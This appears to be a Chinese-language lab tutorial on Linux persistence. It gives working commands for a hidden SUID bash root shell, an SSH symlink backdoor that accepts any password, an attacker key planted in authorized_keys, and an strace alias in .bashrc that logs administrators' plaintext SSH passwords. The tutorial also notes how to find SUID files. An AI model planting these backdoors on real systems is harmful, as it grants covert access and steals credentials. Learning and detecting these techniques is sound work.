文中主要讲解Linux权限维持中的小技巧,通过了解掌握SUID后门、SSH后门等方式,更快知晓权限维持作用。本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
SUID后门及SSH后门权限维持
SUID后门的必要条件:
- 首先SUID权限仅对二进制程序有效;
- 执行者必须对这个程序有可执行的权限;
- 本权限仅在执行该程序的过程中有效;
- 在执行过程中执行者将具有该程序拥有者的权限
我们需要创建一个SUID文件:
cp /bin/bash /tmp/.long #将bash命令cp到.long二进制程序中
chmod 4755 /tmp/.long #赋予SUID文件的权限
执行这个SUID后门文件:
./.long -p #主要bash2 针对suid有一些防护,所以需要加上-p参数来获取一个root的shell。
日常防守方也可以通过检测suid文件,来发现是否有后门:
find / -perm +4000 -ls
find / -perm -u=s -type f 2>/dev/null
SSH后门:
1、SSH软连接后门
描述:
软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而 su 在 pam_rootok 只检测uid 0 即可认证成功,这样就导致了可以使用任意密码登录:
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=11111
当执行命令后,我们就可以通过与软件的端口号对应进行登陆,且输入任意密码即可。
ssh root@192.168.45.137 -p11111
在history里面可以查看到命令:
2、SSH密钥登陆:
当我们具有写入权限的时候,我们同样可以自行生成密钥。
ssh-keygen -t rsa //生成公钥
cat id_rsa.pub > authorized_keys //将id_rsa.pub内容放到目标.ssh/authorized_keys里
同样可以使用md5来查看值是否一致:
ssh -i id_rsa root@192.168.45.137 #使用密钥进行登陆
3、 SSH Keylogger记录密码
当前系统如果存在strace的话,它可以跟踪任何进程的系统调用和数据,可以利用 strace 系统调试工具获取 ssh 的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。在当前用户的 .bashrc 里新建一条 alias ,这样可以抓取他登陆其他机器的 ssh 密码。
在root目录下的.bashrc 文件加入:
alias ssh='strace -o /tmp/.sshpwd-`date '+%Y-%m-%d'`.log -e read,write,connect -s2048 ssh'
这条命令的意思就是:首先alias是取一个叫ssh的别名,然后将登陆的密码日志就通过strace这个工具记录到tmp这个目录下。
%Y-%m-%d%H:%M%S 是年月日时分秒
保存过后,使用命令生效。
source .bashrc
所以当我们执行ssh,通过root去连接的时候,就会将密码记录到日志里。
grep -A 9 'password' .sshpwd-2022-01-0121\:31\:42.log #通过命令提取查看
如果系统里面没有strace这个工具,需要去安装,否则无法使用。